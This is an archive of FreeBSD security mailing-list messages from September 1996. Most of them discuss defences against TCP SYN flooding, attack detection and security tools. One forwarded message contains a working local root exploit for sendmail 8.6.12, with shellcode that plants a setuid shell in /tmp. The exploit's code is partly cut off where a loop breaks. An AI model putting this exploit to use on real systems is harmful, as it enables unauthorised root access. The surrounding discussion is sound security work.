From owner-freebsd-security Sun Sep 22 00:06:11 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA03644 for security-outgoing; Sun, 22 Sep 1996 00:06:11 -0700 (PDT) Received: from ns.frihet.com (root@frihet.bayarea.net [205.219.92.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA03614 for ; Sun, 22 Sep 1996 00:06:06 -0700 (PDT) Received: from ns.frihet.com (tweten@localhost [127.0.0.1]) by ns.frihet.com (8.7.6/8.6.12) with ESMTP id AAA10695; Sun, 22 Sep 1996 00:05:19 -0700 (PDT) Message-Id: <199609220705.AAA10695@ns.frihet.com> X-Mailer: exmh version 1.6.7 5/3/96 Reply-To: "David E. Tweten" To: Warner Losh cc: newton@communica.com.au (Mark Newton), spfarrel@midway.uchicago.edu, security@freebsd.org Subject: Re: comments on the SYN attack Date: Sun, 22 Sep 1996 00:05:19 -0700 From: "David E. Tweten" Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk B tries to connect to A using TCP, and B's connect(2) call decides it is successful because it received SYN/ACK (and has sent the final ACK). Werner Losh picks up the naritive: >Meanwhile, A is under SYN attack. A is forced to discard the >insipient connection to B due to a resource shortage. Then, the ACK >ACK comes in. The code in FreeBSD will now say, "Hmmm, where did I >put that pcb... Can't find it, send a RST." and the connection will >reset, if I read the code correctly. This will cause B to die with a >connection reset by peer, which many protocols won't retry. Unfortunately, I read the rcmd(3) code (which I used to check conventional connect(2) usage), but not closely enough on the first pass to notice that the 5-time retry doesn't apply to the SYN flood case. Rcmd(3) doesn't regard an immediate connection reset as being worthy of a retry(!). That means that whenever the final ACK gets lost on the net, the connection is lost with it. The occasional mysteriously non-functional rsh over the Internet makes more sense to me now. Treating a connection discovered to be closed at first use as equivalent to a failed connect(2) would make connection a more reliably obtainable thing, and coincidently enable stochastic SYN flood resistance measures. Too bad. Incidently, for completeness, my original posting had a trivial algebraic error. The formula for t should have been: t = ceil(log(1 - c) / log(1 - p)); My original used "c" instead of "1 - c". Fortunately, when I ran the numbers I used c = 0.5, which is the solution to "c = 1 - c". Lets see, wrong method yields right answers to wrong question. Amazing. I did my homework. Unfortunately, I did it wrong. Fair is fair, though. To quote the late great Emily Litella, "Never mind." Step, limp, step, limp, ... [exits, stage left] -- David E. Tweten | 2047-bit PGP Key fingerprint: | tweten@frihet.com 12141 Atrium Drive | E9 59 E7 5C 6B 88 B8 90 | tweten@and.com Saratoga, CA 95070-3162 | 65 30 2A A4 A0 BC 49 AE | (408) 446-4131 Those who make good products sell products; those who don't, sell solutions. From owner-freebsd-security Sun Sep 22 08:38:39 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA14091 for security-outgoing; Sun, 22 Sep 1996 08:38:39 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA14012 for ; Sun, 22 Sep 1996 08:38:30 -0700 (PDT) Received: from rover.village.org (localhost [127.0.0.1]) by rover.village.org (8.7.6/8.6.6) with ESMTP id JAA02004; Sun, 22 Sep 1996 09:36:57 -0600 (MDT) Message-Id: <199609221536.JAA02004@rover.village.org> To: "David E. Tweten" Subject: Re: comments on the SYN attack Cc: newton@communica.com.au (Mark Newton), spfarrel@midway.uchicago.edu, security@FreeBSD.org In-reply-to: Your message of "Sun, 22 Sep 1996 00:05:19 PDT." <199609220705.AAA10695@ns.frihet.com> References: <199609220705.AAA10695@ns.frihet.com> Date: Sun, 22 Sep 1996 09:36:56 -0600 From: Warner Losh Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In message <199609220705.AAA10695@ns.frihet.com> "David E. Tweten" writes: : B tries to connect to A using TCP, and B's connect(2) call decides it is : successful because it received SYN/ACK (and has sent the final ACK). Yes. That's why you don't want to drop things unless you can help it. That's what would make the random drop strategy generally a lose, despite its better extreme cases. : Unfortunately, I read the rcmd(3) code (which I used to check conventional : connect(2) usage), but not closely enough on the first pass to notice that : the 5-time retry doesn't apply to the SYN flood case. Rcmd(3) doesn't : regard an immediate connection reset as being worthy of a retry(!). Yes. That's one of the many protocols that can't cope with that situation. : be closed at first use as equivalent to a failed connect(2) would make : connection a more reliably obtainable thing, and coincidently enable : stochastic SYN flood resistance measures. Too bad. Yes. That is a flaw in TCP. :-(. I had the thought this morning that a stochastic process could work, but only if you did the following: 1) When not under attack, do nothing special 2) When under attack (you know this because the queues get full): Never ACK a SYN, but put it on a queue. Unless, however, that SYN is already on that queue, then ack it normally, remove it from the queue and place it in the insipient connection list. Drop from this list the oldest if you have to. At the cost of a slow connection while under attack, this would allow one to recover by the fact that SYNs are retransmitted. However, one could easily defeat this sort of thing with a bomber that sends out two SYN packets identically either in a row, or 1-5s apart to make it look even more like a legitimate connection. Given the easy counter counter measures, I think this idea will also not fly. I present it in case it inspires others to have one that would :-). Warner From owner-freebsd-security Sun Sep 22 09:42:55 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA14561 for security-outgoing; Sun, 22 Sep 1996 09:42:55 -0700 (PDT) Received: from xyzzy.plugh.edmonton.ab.ca (uucp@xyzzy.plugh.edmonton.ab.ca [198.161.22.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA14526 for ; Sun, 22 Sep 1996 09:42:49 -0700 (PDT) Received: (from uucp@localhost) by xyzzy.plugh.edmonton.ab.ca (8.6.12/8.6.9) id KAA03653 for ; Sun, 22 Sep 1996 10:42:39 -0600 Received: from dannyppp.precise.ab.ca(192.168.30.36), claiming to be "nahanni.BouletFermat.ab.ca" via SMTP by mailhost.Plugh.edmonton.ab.ca, id smtpd03651aaa; Sun Sep 22 10:42:37 1996 Received: (from danny@localhost) by nahanni.BouletFermat.ab.ca (8.6.12/8.6.9) id KAA08735 for freebsd-security@freebsd.org; Sun, 22 Sep 1996 10:42:22 -0600 Date: Sun, 22 Sep 1996 10:42:22 -0600 From: Danny Boulet Message-Id: <199609221642.KAA08735@nahanni.BouletFermat.ab.ca> To: freebsd-security@freebsd.org Subject: smtpd and the Juniper Firewall Toolkit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sorry in advance for the commercial tone of this message. Hopefully this is of interest to a reasonable number of readers on this list. The Juniper Firewall Toolkit is a toolkit for constructing transparent proxy-style firewalls. Juniper currently supports the x86 versions of BSD/OS 2.1 (source or binary licenses) FreeBSD 2.1 Linux 1.2 Linux 2.0 NetBSD 1.1 When we set out to implement Juniper, it became clear that we needed a store and forward e-mail proxy. We'd have used smap (or told people to get smap and use it) if it wasn't for the smap licensing terms. Consequently, we implemented our own and called it smtpd. Juniper is available from our WWW site on a "try before you buy" basis. smtpd is included in Juniper and available separately. We don't charge a license fee for smtpd and the smtpd licensing terms are intended to be VERY friendly. smtpd is distributed in source form. If anyone ports it to other platforms, we'd be more than happy to incorporate their changes into smtpd for the next release. More information about Juniper and smtpd (including how to obtain them) is available on our WWW site: http://www.obtuse.com/ You can contact us via e-mail to "info@obtuse.com". Thanks for your time. -Danny P.S. Some of you may be aware of ipfirewall, an IP packet filtering tool which I distribute as shareware (see http://www.bouletfermat.ab.ca/ipfirewall). It provides the packet filtering capability of Juniper. Registered users of ipfirewall receive a discount on their first Juniper license which is equal to the amount that they paid for their ipfirewall license. From owner-freebsd-security Sun Sep 22 17:11:34 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA14830 for security-outgoing; Sun, 22 Sep 1996 17:11:34 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA14774 for ; Sun, 22 Sep 1996 17:11:31 -0700 (PDT) Message-Id: <199609230011.RAA14774@freefall.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA198817444; Mon, 23 Sep 1996 10:10:44 +1000 From: Darren Reed Subject: Re: comments on the SYN attack To: imp@village.org (Warner Losh) Date: Mon, 23 Sep 1996 10:10:44 +1000 (EST) Cc: tweten@frihet.com, newton@communica.com.au, spfarrel@midway.uchicago.edu, security@FreeBSD.org In-Reply-To: <199609212143.PAA02996@rover.village.org> from "Warner Losh" at Sep 21, 96 03:43:35 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In some mail from Warner Losh, sie said: [...] > I think that if you get the point of discarding stuff, then you are in > trouble anyway. It would be nice to not discard it too soon. Also, > if the rates are such that you know you can handle it, then I think > the determanistic would be better. If they are absolutely hammering > the snot out of you, then the random one would be better because the > service is so crappy anyway that a little flakiness is better than no > possibility of a connection. > > Bottom line: You don't want to drop these things if you can help > it... so, you're saying something like "if I already have an established connection to this source host, try not to drop the half-open state" ? I say "try" because someone might flood you with fake SYN packets which are from an IP# that won't receive the ACK because of firewalling, although you already have on established connection from that host. Darren From owner-freebsd-security Sun Sep 22 18:14:50 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA24883 for security-outgoing; Sun, 22 Sep 1996 18:14:50 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA24822 for ; Sun, 22 Sep 1996 18:14:44 -0700 (PDT) Received: from rover.village.org (localhost [127.0.0.1]) by rover.village.org (8.7.6/8.6.6) with ESMTP id TAA28187; Sun, 22 Sep 1996 19:14:18 -0600 (MDT) Message-Id: <199609230114.TAA28187@rover.village.org> To: Darren Reed Subject: Re: comments on the SYN attack Cc: security@FreeBSD.org In-reply-to: Your message of "Mon, 23 Sep 1996 10:10:44 +1000." <199609230010.SAA29579@information-retrieval.village.org> References: <199609230010.SAA29579@information-retrieval.village.org> Date: Sun, 22 Sep 1996 19:14:18 -0600 From: Warner Losh Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In message <199609230010.SAA29579@information-retrieval.village.org> Darren Reed writes: : so, you're saying something like "if I already have an established : connection to this source host, try not to drop the half-open state" ? I hadn't intended to say that... I was wanting to make the point that it was expensive to drop insipient half-open connections and that should be avoided where possible. In a SYN Bombing scenario, however, that isn't possible, but it would argue, imho, to be conservative about what you drop. Warner From owner-freebsd-security Mon Sep 23 01:28:57 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA24334 for security-outgoing; Mon, 23 Sep 1996 01:28:57 -0700 (PDT) Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA21971 for ; Mon, 23 Sep 1996 01:23:43 -0700 (PDT) Received: from glacier.wise.edt.ericsson.se (glacier-ext.wise.edt.ericsson.se) by mail.crl.com with SMTP id AA16032 (5.65c/IDA-1.5 for ); Mon, 23 Sep 1996 01:24:11 -0700 Received: from poem.emw.ericsson.se (poem.emw.ericsson.se [136.225.97.22]) by glacier.wise.edt.ericsson.se (8.7.5/8.7.3/glacier-0.9) with SMTP id IAA29878; Mon, 23 Sep 1996 08:47:58 +0200 (MET DST) Received: from shakespeare.emw.ericsson.se (shakespeare.emw.ericsson.se [136.225.97.10]) by poem.emw.ericsson.se (8.6.12/8.6.12) with SMTP id IAA21081; Mon, 23 Sep 1996 08:44:41 +0200 Received: from scyld.nis.gsunix (scyld.emw.ericsson.se) by shakespeare.emw.ericsson.se (4.1/LME-DOM-2.2.4) id AA17983; Mon, 23 Sep 96 08:51:39 +0200 Received: from localhost by scyld.nis.gsunix (SMI-8.6/SMI-SVR4) id IAA01617; Mon, 23 Sep 1996 08:48:36 +0200 Date: Mon, 23 Sep 1996 08:48:35 +0200 (MET DST) From: Andreas Gunnarsson X-Sender: qmwagu@scyld Reply-To: Andreas Gunnarsson To: Warner Losh Cc: Darren Reed , security@FreeBSD.org Subject: Re: comments on the SYN attack In-Reply-To: <199609230114.TAA28187@rover.village.org> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I just had an idea... How about caching the ACKs from the source and then give the next SYN for that host (perhaps combined with the destination port?) a better chance for survival? The problem that some programs give up when they receive an RST won't be solved since it's already too late, but in that case the odds are better the user will probably retry soon enough to take advantage of the higher probability. It'll have to be a little more to it than that though, since it would be possible to generate a ACK flood accompanying the SYN flood. I'll steal Figure 7 from RFC 793: TCP A TCP B 1. CLOSED LISTEN 2. SYN-SENT --> --> SYN-RECEIVED 3. ESTABLISHED <-- <-- SYN-RECEIVED 4. ESTABLISHED --> --> ESTABLISHED 5. ESTABLISHED --> --> ESTABLISHED Basic 3-Way Handshake for Connection Synchronization Figure 7. We see that there is a way to distinguish genuine ACKs from forged ones. The number 300 is provided by TCP B, and if TCP B makes the number depending on source host address, source port and destination port number as well as the clock, it could cache the ACKs that lie within a reasonable range. Forging hosts won't know the algorithm (it could be randomized in a clever way, and the algorithm could be changed when an attack is detected) and fake ACKs would have little chance to guess a sequence number (32 bits) in the accepted range. As I already said, this will only help after the damage is done, but future connections will benefit from the knowledge that the host is probably a friendly one. I don't know if this approach would be good enough to be worth implementing. The ACK cache will need some memory which could otherwise be used by the SYN cache, and there are probably other problems I haven't foreseen. Andreas ------------------------------------------------------------------------------ Andreas Gunnarsson andreas.gunnarsson@emw.ericsson.se From owner-freebsd-security Mon Sep 23 03:30:20 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA20845 for security-outgoing; Mon, 23 Sep 1996 03:30:20 -0700 (PDT) Received: from gw.softec.sk (gw.softec.sk [194.196.214.34]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id DAA20807 for ; Mon, 23 Sep 1996 03:30:08 -0700 (PDT) Received: (from mail@localhost) by gw.softec.sk (8.6.12/8.6.12) id MAA03236 for ; Mon, 23 Sep 1996 12:27:47 +0200 Received: from softec.softec.sk(193.87.236.1) by gw.softec.sk via smap (V1.3) id sma003231; Mon Sep 23 12:27:25 1996 Received: from kamila.softec.sk by softec.softec.sk id aa15900; 23 Sep 96 12:21 CET Received: by kamila.softec.sk with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5) id <01BBA94A.B2AEBA10@kamila.softec.sk>; Mon, 23 Sep 1996 12:28:17 +0200 Message-ID: From: "Basti, Zoltan" To: "'freebsd-security@freebsd.org'" Subject: SYN attack detection Date: Mon, 23 Sep 1996 12:28:16 +0200 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5 Encoding: 17 TEXT Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Paul Traina in his announcement about the recent SYN flooding attack writes that the command % netstat -s | grep "listen queue overflows" will help attack detection. I'm running FreeBSD 2.1.0-RELEASE and don't seem to have 'listen queue overflows' in netstat -s. Is this in newer releases only or what am i missing? Thank you, -- Zoltan Basti From owner-freebsd-security Mon Sep 23 05:00:25 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA01575 for security-outgoing; Mon, 23 Sep 1996 05:00:25 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id FAA01554 for ; Mon, 23 Sep 1996 05:00:22 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id FAA01684; Mon, 23 Sep 1996 05:00:19 -0700 (PDT) Message-Id: <199609231200.FAA01684@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: "Basti, Zoltan" cc: "'freebsd-security@freebsd.org'" Subject: Re: SYN attack detection In-reply-to: Your message of "Mon, 23 Sep 1996 12:28:16 +0200." From: David Greenman Reply-To: dg@root.com Date: Mon, 23 Sep 1996 05:00:19 -0700 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Paul Traina in his announcement about the recent >SYN flooding attack writes that the command > > % netstat -s | grep "listen queue overflows" > >will help attack detection. > >I'm running FreeBSD 2.1.0-RELEASE and don't seem to >have 'listen queue overflows' in netstat -s. >Is this in newer releases only or what am i missing? Yes. It's in both -current and -stable, but not in 2.1.0 or 2.1.5. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Mon Sep 23 10:39:48 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA01145 for security-outgoing; Mon, 23 Sep 1996 10:39:48 -0700 (PDT) Received: from al.imforei.apana.org.au (pjchilds@al.imforei.apana.org.au [202.12.89.41]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA00952 for ; Mon, 23 Sep 1996 10:39:27 -0700 (PDT) Received: (from pjchilds@localhost) by al.imforei.apana.org.au (8.7.6/8.7.3) id DAA00493; Tue, 24 Sep 1996 03:08:58 +0930 (CST) Date: Tue, 24 Sep 1996 03:08:58 +0930 (CST) From: Peter Childs Message-Id: <199609231738.DAA00493@al.imforei.apana.org.au> To: msmith@atrad.adelaide.edu.au (Michael Smith), freebsd-security@freebsd.org, newton@cleese.apana.org.au Subject: Re: SYN flood attack thoughts X-Newsreader: TIN [version 1.2 PL2] Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Mike Smith wrote... : Mark Newton stands accused of saying: : > Nathan Lawson wrote: : > : > > I have not tested this hybrid algorithm yet, but would appreciate input. : > : > Input, eh? Would a few million SYNs do? :-) : It's amusing that while all this pissing and moaning was going on, John : Capo did the testing required to actually prove or disprove the various : theories, and someone (PST?) committed the results. The commitlogs say it all. IMHO with the sysctl changes added (and bought into the -stable tree) and the listendrop stats all these changes should provide enuff starting ammo for the sysadmin under attack. I guess time will tell :) pst 96/09/20 14:25:23 Modified: sys/netinet tcp_input.c Log: If the incomplete listen queue for a given socket is full, drop the oldest entry in the queue. There was a fair bit of discussion as to whether or not the proper action is to drop a random entry in the queue. It's my conclusion that a random drop is better than a head drop, however profiling this section of code (done by John Capo) shows that a head-drop results in a significant performance increase. There are scenarios where a random drop is more appropriate. If I find one in reality, I'll add the random drop code under a conditional. Obtained from: discussions and code done by Vernon Schryver (vjs@sgi.com). Revision Changes Path 1.49 +18 -5 src/sys/netinet/tcp_input.c Peter -- Peter Childs --- http://www.imforei.apana.org.au/~pjchilds Finger pjchilds@al.imforei.apana.org.au for public PGP key Drag me, drop me, treat me like an object! From owner-freebsd-security Tue Sep 24 08:02:17 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA20489 for security-outgoing; Tue, 24 Sep 1996 08:02:17 -0700 (PDT) Received: from ns.frihet.com (root@frihet.bayarea.net [205.219.92.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA20449 for ; Tue, 24 Sep 1996 08:02:06 -0700 (PDT) Received: from ns.frihet.com (tweten@localhost [127.0.0.1]) by ns.frihet.com (8.7.6/8.6.12) with ESMTP id IAA05721 for ; Tue, 24 Sep 1996 08:01:38 -0700 (PDT) Message-Id: <199609241501.IAA05721@ns.frihet.com> X-Mailer: exmh version 1.6.7 5/3/96 Reply-To: "David E. Tweten" To: freebsd-security@FreeBSD.org Subject: Re: comments on the SYN attack Date: Tue, 24 Sep 1996 08:01:37 -0700 From: "David E. Tweten" Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Andreas.Gunnarsson@emw.ericsson.se said: >How about caching the ACKs from the source and then give the next SYN >for that host (perhaps combined with the destination port?) a better >chance for survival? The problem that some programs give up when they >receive an RST won't be solved since it's already too late, but in >that case the odds are better the user will probably retry soon >enough to take advantage of the higher probability. This sounds similar to another idea relayed to me by a friend, except that the relayed idea looks like it could work the first time. I like it because it follows what I call the Henny Youngman principle of engineering, "If if hurts when you do that, then don't do that." Under a SYN flood, it definitely hurts to have to remember SYNs long enough to pair them with the final ACK. The relayed message follows. What do you think of it? From: djb@koobera.math.uic.edu (D. J. Bernstein) Date: 16 Sep 1996 00:47:44 GMT Subject: Re: SYN Flooding [info] Bruce Momjian wrote: > I was suggesting that when the queue is full, you assume the hacker is > attacking you and delete the uncompleted SYN connection requests from > the queue. In the past ten seconds, you've received 1000 SYNs, but you can only remember 10 SYNs. Even if you responded to all 1000 SYNs, each person trying to connect has only a 1% chance of being one of the lucky SYNs that you remembered. So at least 99% of the incoming connections will fail. This is true no matter what strategy you used to decide which SYNs to remember. See? Anyway, PANIX's problem is easy to solve: eliminate the queue. Don't create the TCB until the ACK comes back. To prevent ACK floods, create the outgoing sequence number as a one-way hash of the incoming information (IP addresses, port number, and sequence number), followed by a secret key, followed by a counter that changes every minute. When the handshake comes back, compute the same hash using the last few counters, and throw away the packet if it doesn't match one of the results. Otherwise, set up the TCB, if it doesn't already exist. SMOP. Now, if someone can't see your outgoing packets, he'll have only a one-in-a-billion chance of creating a false connection. Surely he doesn't have enough bandwidth to sustain a denial-of-service attack this way. > Why can't he be tracked down anyway? Because he's probably just sneaking into computer rooms at some fundamentally insecure site like MIT, logging on as root, starting the attack, and never touching the same computer again. ---Dan -- David E. Tweten | 2047-bit PGP Key fingerprint: | tweten@frihet.com 12141 Atrium Drive | E9 59 E7 5C 6B 88 B8 90 | tweten@and.com Saratoga, CA 95070-3162 | 65 30 2A A4 A0 BC 49 AE | (408) 446-4131 Those who make good products sell products; those who don't, sell solutions. From owner-freebsd-security Thu Sep 26 07:51:44 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA23227 for security-outgoing; Thu, 26 Sep 1996 07:51:44 -0700 (PDT) Received: from challenge.com (nomad.challenge.com [206.12.153.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA23197 for ; Thu, 26 Sep 1996 07:51:41 -0700 (PDT) Received: from [206.12.153.100] by challenge.com with smtp (Smail3.1.29.1 #3) id m0v6Hmo-003kMyC; Thu, 26 Sep 96 07:51 PDT Message-Id: To: "freebsd-security@FreeBSD.Org" Date: Thu, 26 Sep 96 07:51:48 -0500 From: Doug Woodward X-Mailer: E-Mail Connection v3.1 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -- [ From: Doug Woodward * EMC.Ver #3.1 ] -- unsubscribe freebsd-security@freebsd.org From owner-freebsd-security Thu Sep 26 18:01:39 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA00485 for security-outgoing; Thu, 26 Sep 1996 18:01:39 -0700 (PDT) Received: (from jmb@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA00466; Thu, 26 Sep 1996 18:01:36 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199609270101.SAA00466@freefall.freebsd.org> Subject: s/key password list printout To: security, hackers Date: Thu, 26 Sep 1996 18:01:36 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk ftp://freefall.freebsd.org/pub/incoming/skey.print contains a postscript program for printing out a list of 100 s/key passwords on a piece of paper twice the size of a credit card. very nice. the author is rik@alquist.rdt.monash.edu.au (Rik Harris) >From the README: This is keyprint: a quick hack for printing S/Key keys on a small piece of paper, twice the size of a credit card for easy storage in a wallet, card holder, etc. It produces a PostScript file which can be printed and then trimmed to size: hn38925 +----------------------------------------+ | 1 af fd alfal 26 fd s fdas da | | 2 af fd alfal 27 fd s fdas da | | 3 af fd alfal 28 fd s fdas da | | . . | | . . | | 24 af fd alfal 49 fd s fdas da | | 25 af fd alfal 50 fd s fdas da | +----------------------------------------+ | 51 af fd alfal 76 fd s fdas da | | 52 af fd alfal 77 fd s fdas da | | 53 af fd alfal 78 fd s fdas da | | . . | | . . | | 74 af fd alfal 98 fd s fdas da | | 75 af fd alfal 99 fd s fdas da | +----------------------------------------+ rik. enjoy! jmb -- Jonathan M. Bresler FreeBSD Postmaster jmb@FreeBSD.ORG FreeBSD--4.4BSD Unix for PC clones, source included. http://www.freebsd.org/ PGP 2.6.2 Fingerprint: 31 57 41 56 06 C1 40 13 C5 1C E3 E5 DC 62 0E FB From owner-freebsd-security Fri Sep 27 02:05:23 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA22133 for security-outgoing; Fri, 27 Sep 1996 02:05:23 -0700 (PDT) Received: from matrix.wg.camelot.de (root@matrix.wg.camelot.de [195.30.3.17]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id CAA21820 for ; Fri, 27 Sep 1996 02:04:48 -0700 (PDT) Received: (from sec@localhost) by matrix.wg.camelot.de (8.6.12/8.6.12) id BAA24530 for security@freebsd.org; Fri, 27 Sep 1996 01:24:28 +0200 Date: Fri, 27 Sep 1996 01:24:28 +0200 From: Stefan Zehl Message-Id: <199609262324.BAA24530@matrix.wg.camelot.de> To: security@freebsd.org Subject: Re: Exploit for sendmail security hole (version 8.6.12 for FreeBSD Newsgroups: wg.lists.bugtraq X-Newsreader: TIN [version 1.2 PL2] Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I could not confirm the following for FreeBSD2.1.0R while running NIS, i will try on a non-NIS machine tomorrow, but i think it might be of interest anyway :) : /* Hi ! */ : /* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0). */ : /* If you have any problems with it, send letter to me. */ : /* Have fun ! */ : /* ----------------- Dedicated to my beautiful lady ------------------ */ : /* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su */ : #include : main() : { : void make_files(); : make_files(); : system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;echo See result in /tmp"); : } : void make_files() : { : int i,j; : FILE *f; : char nop_string[200]; : char code_string[]= : { : "\xeb\x50" /* jmp cont */ : /* geteip: */ "\x5d" /* popl %ebp */ : "\x55" /* pushl %ebp */ : "\xff\x8d\xc3\xff\xff\xff" /* decl 0xffffffc3(%ebp) */ : "\xff\x8d\xd7\xff\xff\xff" /* decl 0xffffffd7(%ebp) */ : "\xc3" /* ret */ : /* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp" : /* 0xffffffc3(%ebp): */ "\x3c" : "chmod a=rsx /tmp/sh" : /* 0xffffffd7(%ebp): */ "\x01" : "-leshka-leshka-leshka-leshka-" /* reserved */ : /* cont: */ "\xc7\xc4\x70\xcf\xbf\xef" /* movl $0xefbfcf70,%esp */ : "\xe8\xa5\xff\xff\xff" /* call geteip */ : "\x81\xc5\xb4\xff\xff\xff" /* addl $0xb4ffffff,%ebp */ : "\x55" /* pushl %ebp */ : "\x55" /* pushl %ebp */ : "\x68\xd0\x77\x04\x08" /* pushl $0x80477d0 */ : "\xc3" /* ret */ : "-leshka-leshka-leshka-leshka-" /* reserved */ : "\xa0\xcf\xbf\xef" : }; : j=269-sizeof(code_string); : for(i=0;i\"$1\"\n"); : fprintf(f,"touch -t 2510711313 \"$1\"\n"); : fclose(f); : } CU, Sec -- Jeder Tag an dem du nicht lächelst, ist ein verlorener Tag. (C. Chaplin) Hiroshima '45 Tsjernobyl '86 Windows '95 Black holes are where GOD is dividing by zero From owner-freebsd-security Fri Sep 27 13:16:54 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA28068 for security-outgoing; Fri, 27 Sep 1996 13:16:54 -0700 (PDT) Received: from alpo.whistle.com (s205m1.whistle.com [207.76.205.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA28034 for ; Fri, 27 Sep 1996 13:16:48 -0700 (PDT) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.7.5/8.7.3) with SMTP id NAA06287 for ; Fri, 27 Sep 1996 13:14:21 -0700 (PDT) Message-ID: <324C3534.4DAA423A@whistle.com> Date: Fri, 27 Sep 1996 13:12:36 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0b6 (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: security@freebsd.org Subject: Contract to analyse FBSD systems Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We are looking for someone to do a security analysis of a FreeBSD based system. (see http://www.whistle.com ) anyone interested... let me know.. Generic FreeBSD problems found can be fed back (with patches) to freeBSD.. considered it payed freeBSD work. (In SF-Bay area prefered) From owner-freebsd-security Fri Sep 27 22:33:13 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA04874 for security-outgoing; Fri, 27 Sep 1996 22:33:13 -0700 (PDT) Received: from post.io.org (post.io.org [198.133.36.6]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA04827 for ; Fri, 27 Sep 1996 22:33:10 -0700 (PDT) Received: from zap.io.org (taob@zap.io.org [198.133.36.81]) by post.io.org (8.7.5/8.7.3) with SMTP id BAA08468; Sat, 28 Sep 1996 01:33:07 -0400 (EDT) Date: Sat, 28 Sep 1996 01:33:07 -0400 (EDT) From: Brian Tao To: "reality." cc: security@FreeBSD.org Subject: Re: Exploit for sendmail security hole (version 8.6.12 for FreeBSD In-Reply-To: <199609262324.BAA24530@matrix.wg.camelot.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Sep 1996, Stefan Zehl wrote: > > I could not confirm the 